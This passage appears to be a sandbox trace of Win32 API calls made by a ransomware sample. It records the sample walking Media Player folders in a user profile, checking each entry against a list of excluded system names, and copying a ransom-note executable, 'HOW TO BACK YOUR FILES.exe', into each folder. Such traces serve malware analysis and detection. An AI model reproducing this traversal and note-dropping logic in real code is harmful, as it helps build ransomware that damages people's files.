	[0046.110] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.110] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0046.111] CloseHandle (hObject=0x148) returned 1
	[0046.111] CloseHandle (hObject=0x150) returned 1
	[0046.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0046.111] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0046.111] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1
	[0046.111] lstrcmpiW (lpString1="Sync Playlists", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.111] lstrcmpiW (lpString1="Sync Playlists", lpString2="Apollon865.txt.exe") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2=".") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="..") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="windows") returned -1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="bootmgr") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="temp") returned -1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="pagefile.sys") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="boot") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="ids.txt") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="ntuser.dat") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="perflogs") returned 1
	[0046.112] lstrcmpiW (lpString1="Sync Playlists", lpString2="MSBuild") returned 1
	[0046.112] lstrlenW (lpString="Sync Playlists") returned 14
	[0046.112] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\LocalMLS_3.wmdb") returned 82
	[0046.112] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Sync Playlists" | out: lpString1="Sync Playlists") returned="Sync Playlists"
	[0046.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.112] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa4) returned 0x599450
	[0046.112] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.112] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="Apollon865.txt.exe") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2=".") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="..") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="windows") returned -1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="bootmgr") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="temp") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="pagefile.sys") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="boot") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="ids.txt") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="ntuser.dat") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="perflogs") returned 1
	[0046.112] lstrcmpiW (lpString1="Transcoded Files Cache", lpString2="MSBuild") returned 1
	[0046.112] lstrlenW (lpString="Transcoded Files Cache") returned 22
	[0046.112] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned 81
	[0046.113] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="Transcoded Files Cache" | out: lpString1="Transcoded Files Cache") returned="Transcoded Files Cache"
	[0046.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0046.113] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c1458
	[0046.113] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x59fbf0
	[0046.113] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0xf7f22040, ftLastAccessTime.dwHighDateTime=0x1d3373f, ftLastWriteTime.dwLowDateTime=0xf7f22040, ftLastWriteTime.dwHighDateTime=0x1d3373f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Transcoded Files Cache", cAlternateFileName="TRANSC~1")) returned 0
	[0046.113] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.113] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0046.113] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache"
	[0046.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0046.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0046.113] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache") returned 89
	[0046.113] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache"
	[0046.113] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.113] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\transcoded files cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.116] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.116] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x338df310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x338df310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.117] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.117] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.117] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf7f22040, ftCreationTime.dwHighDateTime=0x1d3373f, ftLastAccessTime.dwLowDateTime=0x338df310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x338df310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.117] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.117] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.117] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.117] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.117] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x338df310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x338df310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.117] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.117] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x338df310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x338df310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.117] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.117] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0046.117] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists"
	[0046.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.117] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0046.117] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned 81
	[0046.117] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists"
	[0046.117] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.117] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.122] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.122] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33905470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.122] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.122] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.122] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.122] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33905470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.122] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.122] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.122] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.122] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.122] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0046.122] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.122] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0046.123] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0046.123] lstrlenW (lpString="en-US") returned 5
	[0046.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*") returned 83
	[0046.123] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0046.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.123] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb0) returned 0x599450
	[0046.123] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.123] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33905470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.123] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.123] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33905470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.123] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.123] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0046.123] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US"
	[0046.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.123] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0046.123] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned 87
	[0046.123] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US"
	[0046.123] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.123] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.127] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.127] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33905470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.127] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.127] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.127] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.127] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33905470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33905470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.127] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.127] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.127] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.127] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.127] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ca96f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ca96f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ca96f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0000E713", cAlternateFileName="")) returned 1
	[0046.127] lstrcmpiW (lpString1="0000E713", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.127] lstrcmpiW (lpString1="0000E713", lpString2="Apollon865.txt.exe") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2=".") returned 1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="..") returned 1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="windows") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="bootmgr") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="temp") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="pagefile.sys") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="boot") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="ids.txt") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="ntuser.dat") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="perflogs") returned -1
	[0046.128] lstrcmpiW (lpString1="0000E713", lpString2="MSBuild") returned -1
	[0046.128] lstrlenW (lpString="0000E713") returned 8
	[0046.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*") returned 89
	[0046.128] lstrcpyW (in: lpString1=0x2d3e600, lpString2="0000E713" | out: lpString1="0000E713") returned="0000E713"
	[0046.128] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fbe8
	[0046.128] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc2) returned 0x599450
	[0046.128] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fbf0 | out: ListHead=0x5b76b0, ListEntry=0x59fbf0) returned 0x5b7cb0
	[0046.128] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="Apollon865.txt.exe") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2=".") returned 1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="..") returned 1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="windows") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="bootmgr") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="temp") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="pagefile.sys") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="boot") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="ids.txt") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="ntuser.dat") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="perflogs") returned -1
	[0046.128] lstrcmpiW (lpString1="00010C6E", lpString2="MSBuild") returned -1
	[0046.128] lstrlenW (lpString="00010C6E") returned 8
	[0046.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713") returned 96
	[0046.129] lstrcpyW (in: lpString1=0x2d3e600, lpString2="00010C6E" | out: lpString1="00010C6E") returned="00010C6E"
	[0046.129] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
